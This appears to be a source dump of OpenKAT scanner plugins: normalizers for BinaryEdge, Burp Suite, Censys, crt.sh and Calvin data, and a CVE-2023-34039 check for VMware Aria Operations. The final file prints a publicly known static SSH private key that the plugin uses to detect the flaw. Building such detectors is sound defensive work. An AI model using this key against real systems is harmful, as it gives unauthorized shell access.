    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom boefjes.plugins.helpers import cpe_to_name_version\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = (\"service-simple\", \"service\", \"malware-simple\")\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        if \"service\" in scan[\"result\"][\"data\"]:\n            service = scan[\"result\"][\"data\"][\"service\"]\n            service_ooi = Service(name=service[\"name\"])\n            yield service_ooi\n\n            ip_service_ooi = IPService(ip_port=ip_port_ooi.reference, service=service_ooi.reference)\n            yield ip_service_ooi\n\n            if \"cpe\" in service:\n                for cpe in service[\"cpe\"]:\n                    name, version = cpe_to_name_version(cpe=cpe)\n                    software_ooi = Software(name=name, version=version, cpe=cpe)\n                    yield software_ooi\n                    software_instance_ooi = SoftwareInstance(\n                        ooi=ip_service_ooi.reference, software=software_ooi.reference\n                    )\n                    yield software_instance_ooi\n\n                    if module == \"malware-simple\":\n                        malware_ooi = KATFindingType(id=\"KAT-POTENTIAL-MALWARE\")\n                        yield malware_ooi\n                        yield Finding(\n                            finding_type=malware_ooi.reference,\n                            ooi=software_ooi.reference,\n                            description=f\"Software '{cpe}' is known to be used as malware.\",\n                        )\n            else:\n                # Less specific than cpe\n                if \"product\" in service:\n                    product_name = service[\"product\"]\n\n                    if \"version\" in service:\n                        software_ooi = Software(name=product_name, version=service[\"version\"])\n                    else:\n                        software_ooi = Software(name=product_name)\n\n                    yield software_ooi\n                    software_instance_ooi = SoftwareInstance(\n                        ooi=ip_service_ooi.reference, software=software_ooi.reference\n                    )\n                    yield software_instance_ooi\n\n                    if module == \"malware-simple\":\n                        malware_ooi = KATFindingType(id=\"KAT-POTENTIAL-MALWARE\")\n                        yield malware_ooi\n                        yield Finding(\n                            finding_type=malware_ooi.reference,\n                            ooi=software_instance_ooi.reference,\n                            description=f\"Software '{product_name}' is known to be used as malware.\",\n                        )\n\n            # (possible) TODO: hostname\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/service_identification/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_service_identification\",\n  \"name\": \"BinaryEdge service identification\",\n  \"description\": \"Parses BinaryEdge data to check if Software is present that is known for malware.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/services/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/services/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom boefjes.plugins.helpers import cpe_to_name_version\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = (\"ssh\", \"rsync\", \"ftp\", \"telnet\", \"smb\")\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        if module == \"ssh\":\n            version_ssh = scan.get(\"result\", {}).get(\"data\", {}).get(\"banner\")\n            if version_ssh:\n                software_ooi = Software(name=module.upper(), version=version_ssh)\n            else:\n                software_ooi = Software(name=module.upper())\n            yield software_ooi\n            yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        elif module == \"rsync\":\n            software_ooi = Software(name=module.upper(), version=scan.get(\"result\", {}).get(\"data\", {}).get(\"version\"))\n            yield software_ooi\n            yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        elif module == \"telnet\":\n            software_ooi = Software(name=module.upper())\n            yield software_ooi\n            yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        elif module == \"smb\":\n            for dialect in scan.get(\"result\", {}).get(\"data\", {}).get(\"smb_dialects\", []):\n                software_ooi = Software(name=module.upper(), version=dialect)\n                yield software_ooi\n                yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n            for cpe in scan.get(\"result\", {}).get(\"data\", {}).get(\"cpe\", []):\n                name, version = cpe_to_name_version(cpe=cpe)\n                software_ooi = Software(name=name, version=version, cpe=cpe)\n                yield software_ooi\n                yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n\n        # (potential) TODO: SSH: hassh, hassh-algoritms\n        # (potential) TODO: RSYNC: result.data.status\n        # (potential) TODO: RSYNC: result.data.modules[].status\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/services/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_services\",\n  \"name\": \"BinaryEdge services\",\n  \"description\": \"Parses BinaryEdge data to check for services such as SSH, rsync, FTP, telnet and SMB.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_burpsuite/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_burpsuite/normalize.py",
    "content": "import base64\nfrom collections.abc import Iterable\nfrom ipaddress import IPv4Address, IPv6Address, ip_address\nfrom urllib.parse import urlparse\n\nfrom bs4 import BeautifulSoup\nfrom defusedxml import minidom\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import CAPECFindingType, CVEFindingType, CWEFindingType, Finding\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, Protocol\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.web import URL, HostnameHTTPURL, HTTPHeader, HTTPResource, IPAddressHTTPURL, WebScheme, Website\n\n\ndef find_network(data: dict) -> dict:\n    if \"network\" in data:\n        return data[\"network\"]\n    for key, value in data.items():\n        if isinstance(value, dict):\n            result = find_network(value)\n            if result is not None:\n                return result\n    # Return internet if network is not found\n    return {\"name\": \"internet\"}\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    parser = minidom.parseString(raw.decode(\"UTF-8\"))\n\n    network = Network(name=find_network(input_ooi).get(\"name\", \"internet\"))\n\n    tcp_protocol = Protocol.TCP\n\n    # TODO use timestamp for sample to setup new OOI's\n    #  with parser.getElementsByTagName('issues').attributes['exportTime'].value\n\n    for issue in parser.getElementsByTagName(\"issue\"):\n        host_element = issue.getElementsByTagName(\"host\")[0]\n        host = host_element.firstChild.nodeValue\n\n        ip = ip_address(host_element.attributes[\"ip\"].value)\n        path = issue.getElementsByTagName(\"path\")[0].firstChild.nodeValue\n\n        yield URL(network=network.reference, raw=f\"{host}{path}\")\n\n        url = urlparse(f\"{host}{path}\")\n\n        hostname = None\n        # we might be dealing with a request to an IP-address\n        if url.netloc != ip:\n            hostname = Hostname(name=url.netloc, network=network.reference)\n            yield hostname\n\n        port = 443 if url.scheme == \"https\" else 80\n\n        address = ip_address(ip)\n        if isinstance(address, IPv4Address):\n            ip = IPAddressV4(address=address, network=network.reference)\n        elif isinstance(address, IPv6Address):\n            ip = IPAddressV6(address=address, network=network.reference)\n\n        ip_port = IPPort(address=ip.reference, protocol=tcp_protocol, port=port)\n        yield ip_port\n\n        service = Service(name=url.scheme)\n        yield service\n\n        ip_service = IPService(ip_port=ip_port.reference, service=service.reference)\n        yield ip_service\n\n        http_resource = None\n        if hostname is not None:\n            http_url = HostnameHTTPURL(\n                network=network.reference,\n                scheme=WebScheme(url.scheme),\n                port=port,\n                path=url.path,\n                netloc=hostname.reference,\n            )\n            website = Website(hostname=hostname.reference, ip_service=ip_service.reference)\n            yield website\n            http_resource = HTTPResource(website=website.reference, web_url=http_url.reference)\n            yield http_resource\n        else:\n            http_url = IPAddressHTTPURL(\n                network=network.reference, scheme=WebScheme(url.scheme), port=port, path=url.path, netloc=url.netloc\n            )\n\n        if issue.getElementsByTagName(\"vulnerabilityClassifications\"):\n            vulnerability_classifications = issue.getElementsByTagName(\"vulnerabilityClassifications\")[\n                0\n            ].firstChild.nodeValue\n\n            soup = BeautifulSoup(vulnerability_classifications)\n            for link_element in soup.find_all(\"a\"):\n                description = link_element.string.split(\":\")\n                if description[0].startswith(\"CWE\"):\n                    finding_type = CWEFindingType(id=description[0])\n                elif description[0].startswith(\"CAPEC\"):\n                    finding_type = CAPECFindingType(id=description[0])\n                elif description[0].startswith(\"CVE\"):\n                    finding_type = CVEFindingType(id=description[0])\n                else:\n                    continue\n                yield finding_type\n                f = Finding(finding_type=finding_type.reference, ooi=http_url.reference, description=description[1])\n                yield f\n\n        if issue.getElementsByTagName(\"response\"):\n            response = issue.getElementsByTagName(\"response\")[0]\n            # decode the response if its encoded\n            if response.attributes[\"base64\"].value == \"true\":\n                response = base64.b64decode(response.firstChild.nodeValue).decode()\n            else:\n                response = response.firstChild.nodeValue.decode()\n\n            # currently we only support websites with hostnames as netloc, therefore we should only\n            # add these headers if the resource exists\n            if http_resource is not None:\n                headers = response.split(\"\\r\\n\\r\\n\")[0].split(\"\\n\\n\")[0]\n                for header in headers.splitlines():\n                    header = header.split(\":\", 2)\n                    # remove headers without key value structure\n                    if len(header) == 2:\n                        yield HTTPHeader(resource=http_resource.reference, key=header[0], value=header[1])\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_burpsuite/normalizer.json",
    "content": "{\n  \"id\": \"kat_burpsuite_normalize\",\n  \"name\": \"Burpsuite normalizer\",\n  \"description\": \"Parses Burpsuite XML output into findings. Check https://docs.openkat.nl/manual/normalizers.html#burp-suite on how to create the XML file.\",\n  \"consumes\": [\n    \"xml/burp-export\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"IPPort\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_calvin/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_calvin/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerDeclaration, NormalizerOutput\nfrom octopoes.models.ooi.monitoring import Application, Incident\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    data = json.loads(raw)\n\n    for log in data:\n        yield from parse_log(log)\n\n\ndef parse_log(log: dict) -> Iterable[NormalizerOutput]:\n    app = Application(name=log.pop(\"client_environment_app\"))\n\n    yield NormalizerDeclaration(ooi=app)\n\n    mandatory_fields = {\n        \"event_id\": str(log.pop(\"eventId\")),\n        \"severity\": log.pop(\"severity\"),\n        \"event_title\": log.pop(\"eventTitle\"),\n        \"event_type\": log.pop(\"eventType\"),\n    }\n\n    yield NormalizerDeclaration(ooi=Incident(application=app.reference, **mandatory_fields, meta_data=log))\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_calvin/normalizer.json",
    "content": "{\n  \"id\": \"calvin-normalize\",\n  \"name\": \"Calvin\",\n  \"description\": \"Produces applications and incidents for Calvin.\",\n  \"consumes\": [\n    \"boefje/calvin\"\n  ],\n  \"produces\": [\n    \"Application\",\n    \"Incident\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/boefje.json",
    "content": "{\n  \"id\": \"censys\",\n  \"name\": \"Censys\",\n  \"description\": \"Use Censys to discover open ports, services and certificates. Requires an API key.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_cencys.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/description.md",
    "content": "# Censys\n\nCensys is a search engine similar to Shodan. It continually scans the entire public IPv4 address space on 3,592+ ports using automatic protocol detection and also leverages redirects and the Domain Name System to discover and scan (~39M) in-use IPv6 addresses.\nPerforming a scan requires an account. You can sign up for a free account at https://accounts.censys.io/register . After registration you can obtain an API ID and SECRET which have to be used in order for this boefje to work.\n\nThe GUI of the search engine can be found at https://search.censys.io\n\n### Input OOIs\n\nCensys expects an IpAddress or Hostname as input.\n\n### Output OOIs\n\nCensys currently outputs the following OOIs:\n\n| OOI type | Description                    |\n| -------- | ------------------------------ |\n| IpPort   | Open IpPort found on input OOI |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/main.py",
    "content": "import json\n\nfrom censys.search import CensysHosts\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    h = CensysHosts()\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip = input_[\"address\"]\n    host = h.view(ip)\n\n    return [(set(), json.dumps(host))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/normalize.py",
    "content": "import json\nimport urllib.parse\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.certificate import X509Certificate\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom octopoes.models.ooi.web import HTTPHeader, HTTPResource, IPAddressHTTPURL, Website\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    ip_ooi_reference = Reference.from_str(input_ooi[\"primary_key\"])\n\n    network_reference = Network(name=ip_ooi_reference.tokenized.network.name).reference\n    ip = results[\"ip\"]\n\n    if \"dns\" in results and \"names\" in results[\"dns\"]:\n        for hostname in results[\"dns\"][\"names\"]:\n            hostname_ooi = Hostname(name=hostname, network=network_reference)\n            yield hostname_ooi\n\n    for scan in results[\"services\"]:\n        port_nr = scan[\"port\"]\n        transport = scan[\"transport_protocol\"].lower()\n\n        ip_port = IPPort(\n            address=ip_ooi_reference,\n            protocol=Protocol(transport) if transport != \"quic\" else Protocol.UDP,\n            port=int(port_nr),\n            state=PortState(\"open\"),\n        )\n        yield ip_port\n\n        service = Service(name=scan[\"service_name\"])\n        yield service\n\n        if \"tls\" in scan:\n            certificate = scan[\"tls\"][\"certificates\"]\n            if \"subject_dn\" in certificate[\"leaf_data\"]:\n                cert_subject = certificate[\"leaf_data\"][\"subject_dn\"]\n            elif \"subject\" in certificate[\"leaf_data\"]:\n                so = certificate[\"leaf_data\"][\"subject_dn\"]\n                cert_subject = \"C={}, ST={}, O={}, OU={}, CN={}\".format(\n                    so[\"country\"], so[\"province\"], so[\"organization\"], so[\"organizational_unit\"], so[\"common_name\"]\n                )\n            else:\n                cert_subject = \"n/a\"\n            # todo: link certificate properly. Currently there is no website, because it will be returned for an ip\n            yield X509Certificate(\n                subject=cert_subject,\n                issuer=certificate[\"leaf_data\"][\"issuer_dn\"],\n                valid_from=0,\n                valid_until=0,\n                pk_algorithm=certificate[\"leaf_data\"][\"pubkey_algorithm\"],\n                pk_size=certificate[\"leaf_data\"][\"pubkey_bit_size\"],\n                serial_number=certificate[\"leaf_data\"][\"fingerprint\"],\n                signed_by=None,\n            )\n\n        if \"software\" in scan:\n            for sw in scan[\"software\"]:\n                if \"version\" in sw:\n                    software_ooi = Software(name=sw[\"product\"].upper(), version=sw[\"version\"])\n                else:\n                    software_ooi = Software(name=sw[\"product\"].upper())\n\n                yield software_ooi\n                yield SoftwareInstance(ooi=ip_port.reference, software=software_ooi.reference)\n\n        if \"http\" in scan and \"response\" in scan[\"http\"] and \"headers\" in scan[\"http\"][\"response\"]:\n            headers = scan[\"http\"][\"response\"][\"headers\"]\n            for header, values in headers.items():\n                if header.startswith(\"_\"):\n                    # values starting with _ seem to be censys specific and not really part of the response headers\n                    continue\n                else:\n                    header_field = header.lower().replace(\"_\", \"-\")\n                    # this is always a list, when there are multiple values it means it was set multiple times\n                    for value in values:\n                        url = urllib.parse.urlparse(scan[\"http\"][\"request\"][\"uri\"])\n                        port = 443 if url.scheme == \"https\" else 80\n                        ip_port = IPPort(\n                            address=ip_ooi_reference, protocol=Protocol[scan[\"transport_protocol\"]], port=port\n                        )\n                        yield ip_port\n\n                        web_url = IPAddressHTTPURL(\n                            network=network_reference,\n                            scheme=url.scheme,\n                            port=port,\n                            path=url.path,\n                            netloc=ip_ooi_reference,\n                        )\n                        yield web_url\n\n                        # todo: not a valid hostname, but this needs to be fixed in the `Website` model\n                        hostname = Hostname(network=network_reference, name=ip)\n                        yield hostname\n\n                        # todo: implement `HTTPResource.redirects_to` if available\n                        http_resource = HTTPResource(\n                            website=Website(\n                                ip_service=IPService(ip_port=ip_port.reference, service=service.reference).reference,\n                                hostname=hostname.reference,\n                            ).reference,\n                            web_url=web_url.reference,\n                        )\n                        yield http_resource\n\n                        http_header = HTTPHeader(resource=http_resource.reference, key=header_field, value=value)\n                        yield http_header\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/normalizer.json",
    "content": "{\n  \"id\": \"kat_censys_normalize\",\n  \"name\": \"Censys\",\n  \"description\": \"Parses Cencys data into objects that can be used by other boefjes and normalizers. Can create ports, certificates, software, websites and headers. Doesn't create findings.\",\n  \"consumes\": [\n    \"boefje/censys\"\n  ],\n  \"produces\": [\n    \"IPPort\",\n    \"X509Certificate\",\n    \"SoftwareInstance\",\n    \"ResolvedHostname\",\n    \"HTTPHeader\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/requirements.txt",
    "content": "censys == 2.1.8\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_censys/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"CENSYS_API_ID\": {\n      \"title\": \"CENSYS_API_ID\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"A Censys API ID.\"\n    },\n    \"CENSYS_API_SECRET\": {\n      \"title\": \"CENSYS_API_SECRET\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"A Censys API secret.\"\n    }\n  },\n  \"required\": [\n    \"CENSYS_API_ID\",\n    \"CENSYS_API_SECRET\"\n  ],\n  \"secret\": [\n    \"CENSYS_API_SECRET\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/boefje.json",
    "content": "{\n  \"id\": \"certificate-search\",\n  \"name\": \"CRT\",\n  \"description\": \"Searches for certificates and new hostnames in the transparency logs of crt.sh.\",\n  \"consumes\": [\n    \"DNSZone\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_crt_sh.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/description.md",
    "content": "Certificate Transparency (CT) is an Internet security standard for monitoring and auditing the issuance of digital certificates. The standard creates a system of public logs that seek to eventually record all certificates issued by publicly trusted certificate authorities, allowing efficient identification of mistakenly or maliciously issued certificates.\n\n**Cat name**: Nouchka\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/main.py",
    "content": "import json\n\nimport requests\n\nCRT_SH_API = \"https://crt.sh/\"\nMATCHES = (\"=\", \"ILIKE\", \"LIKE\", \"single\", \"any\", \"FTS\")\nSEARCH_TYPES = (\n    \"c\",\n    \"id\",\n    \"ctid\",\n    \"serial\",\n    \"ski\",\n    \"spkisha1\",\n    \"spkisha256\",\n    \"subjectsha1\",\n    \"sha1\",\n    \"sha256\",\n    \"ca\",\n    \"CAID\",\n    \"CAName\",\n    \"Identity\",\n    \"CN\",\n    \"E\",\n    \"OU\",\n    \"O\",\n    \"dNSName\",\n    \"rfc822Name\",\n    \"iPAddress\",\n)\n\n\ndef request_certs(\n    search_string: str,\n    search_type: str = \"Identity\",\n    match: str = \"=\",\n    deduplicate: bool = True,\n    json_output: bool = True,\n) -> str:\n    \"\"\"Queries the public service CRT.sh for certificate information\n    the searchtype can be specified and defaults to Identity.\n    the type of sql matching can be specified and defaults to \"=\"\n    Deduplication is on by default and the output is returned as a json string or html.\n    \"\"\"\n    if match not in MATCHES:\n        match = MATCHES[0]\n    if search_type not in SEARCH_TYPES:\n        search_type = \"Identity\"\n    query = {search_type: search_string, \"match\": match}\n    if json_output:\n        query[\"output\"] = \"json\"\n    if deduplicate:\n        query[\"deduplicate\"] = \"Y\"\n\n    response = requests.get(CRT_SH_API, params=query, timeout=30)\n    if response.status_code != 200:\n        response.raise_for_status()\n    if json_output:\n        return json.dumps(response.json())\n    return response.text\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    fqdn = input_[\"hostname\"][\"name\"]\n    results = request_certs(fqdn)\n\n    return [(set(), results)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/normalize.py",
    "content": "import datetime\nimport json\nfrom collections.abc import Iterable\n\nfrom dateutil.parser import parse\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.certificate import X509Certificate\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    fqdn = input_ooi[\"hostname\"][\"name\"]\n    current = fqdn.lstrip(\".\")\n\n    network = Network(name=\"internet\")  # crt.sh only ever sees the Internet\n    network_reference = network.reference\n\n    unique_domains = set()\n    for certificate in results:\n        common_name = certificate[\"common_name\"].lower().lstrip(\".*\")\n\n        # walk over all name_value parts (possibly just one, possibly more)\n        names = certificate[\"name_value\"].lower().splitlines()\n        for name in names:\n            if not name.endswith(current):\n                # todo: do we want to hint other unrelated hostnames using the same certificate / and this possibly\n                #  the same private keys for tls?\n                pass\n            if name not in unique_domains:\n                yield Hostname(name=name, network=network_reference)\n                unique_domains.add(name)\n\n        # Yield only current certs.\n        expires_in = parse(certificate[\"not_after\"]).astimezone(datetime.timezone.utc) - datetime.datetime.now(\n            datetime.timezone.utc\n        )\n        if expires_in.total_seconds() > 0:\n            yield X509Certificate(\n                subject=common_name,\n                issuer=certificate[\"issuer_name\"],\n                valid_from=certificate[\"not_before\"],\n                valid_until=certificate[\"not_after\"],\n                serial_number=certificate[\"serial_number\"].upper(),\n                expires_in=expires_in,\n            )\n        # walk over the common_name. which might be unrelated to the requested domain, or it might be a parent domain\n        # which our dns Boefje should also have picked up.\n        # wildcards also trigger here, and won't be visible from a DNS query\n        if common_name.endswith(current) or common_name not in unique_domains:\n            yield Hostname(name=common_name, network=network_reference)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/normalizer.json",
    "content": "{\n  \"id\": \"kat_crt_sh_normalize\",\n  \"name\": \"Certificate Transparency logs (crt.sh)\",\n  \"description\": \"Parses data from certificate transparency logs (crt.sh) into hostnames and X509 certificates.\",\n  \"consumes\": [\n    \"boefje/certificate-search\"\n  ],\n  \"produces\": [\n    \"Hostname\",\n    \"X509Certificate\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_crt_sh/requirements.txt",
    "content": "requests == 2.33.0\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/boefje.json",
    "content": "{\n  \"id\": \"CVE-2023-34039\",\n  \"name\": \"CVE-2023-34039 - VMware Aria Operations\",\n  \"description\": \"Checks if there are static SSH keys present that can be used for remote code execution on VWware Aria Operations (CVE-2023-34039). This vulnerability can be used to bypass SSH authentication and gain access to the Aria Operations for Networks CLI.\",\n  \"consumes\": [\n    \"IPService\"\n  ],\n  \"scan_level\": 4,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_cve_2023_34039.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.0.0/id_rsa_vnera_keypair_6.0.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAzbGeKAIbNI5h3LnQXhN3P1/8aUH9FfUQVaKKI/tOhzByQ/v4\nDKD5hfXl+oxkoGeqSafpccPl4A1MOEe7ccd1mt96iBDnufUKfbjZyfH92ONM9RVV\nGrhhXruRe/qbkLNlwFNdaYmi/UHbYu+fgiDrE4np4MvGACzLvv6Hu/cDe2kSjFNd\nzs7wvzZ95fliH/+nsBUqC3JntH+KZy0JZW6QJ8WkY5g7KXlfTPkFdEfMuNLKbD3w\nj/d+FFY0CI7XR8JX96w0cfYs6k94enzag0eKeAJAbUFXTkK73Cg3fomws2SlCZPi\nKiRXdMJFY2pKwg1KJU9SqsfHQvz8UCRvpE3KyQIDAQABAoIBAA3KfNod2gkaCsGr\ny6ajE3myS9Aa1ockWSYEsdJbxRYXT3HzcNwX5uLua67yvsRqbuZlVaeFBOKSwat8\nU7r7Lo1lsmdxCrhTD5MCU8fQa76g7sX32i7icdTSKpzvXoLDJG1SqY6r5bupMLZf\nbohhAKHcu0uRHgNg/YAevKcDlr4tXGICajsToSg4UlxVcbxGcuvLKld8FKZrKuE0\nfPDkEp6j4056bYMilO/xTpDb+WyegzTxA842CweLBZo/XXD3ZS5wiad6evnjp57E\ngd6S6huavL9uzNpmqr1BfSl6r+bWTXcFBNYyaEo1Y+Sa8ZzgOql7VblmW23Pqetc\nf1Jn0AECgYEA/Fxo8cBl4myOeiKSddCwSLrlP0zizXQ5L9ppooXqH5nuA96R00jU\nryygUJ0tPp2iODdBoO5tGTIbqHBOEu4i7JejrPML9Y33bZq+M4ZeNnMimfK60N4g\nj7ma/Qqvz6MSi3Dh9rYMoavkMVrr2TJEKQrjMpBmuXP1W+5b0fTq4QECgYEA0Kjv\nptAyCy9/Mq8Fn2vY6hJQEb3WUukClBccxCCYKRWPvFjg4tWRdSKpqPH9LMZ7Ra74\nxZjPa27eTymADo49/3whsVOPiQV/dKbf0vhwGuSMMxyEpOWdvILJNo0HW+f98//K\nDFvIkByqc+517LyKHhco8Cti/I22qLY8+27iIckCgYEAt0S9CeP5mcfQaK42wsy9\nWPQxjBjgFOi0pyXs1RR/hFebXMAEEvavTlAQVLrwoqqDpmOqi57bKBMVtutoJ6M9\nRaiSOwV+x+NDrxtTycNpJA3VMQvv08OczgOypNVf/GCnFRDzaOGoprhYTeeDpAY3\nLb80ZAIuN7wYkZy2nfFJqgECgYEAlSqgIG2nyO1MjmwmpeBQco1i5jwDMsRWzo1z\nSBZRENXUKn6TTjYFRWrhROCx8Ed4Ksm6GHB0n8XjcU4muMEhOzp/T6h/7SGcC0Wc\nrtJiOid2vrc9cDCiQfhxZekOALrphnwu8gTPbY7AoB4x+WqTho1h+8fYfNnGYffd\nwpVzXVkCgYEA0vxFIs633h7ct2qBH50ieDCPc0RsTBhZHGXY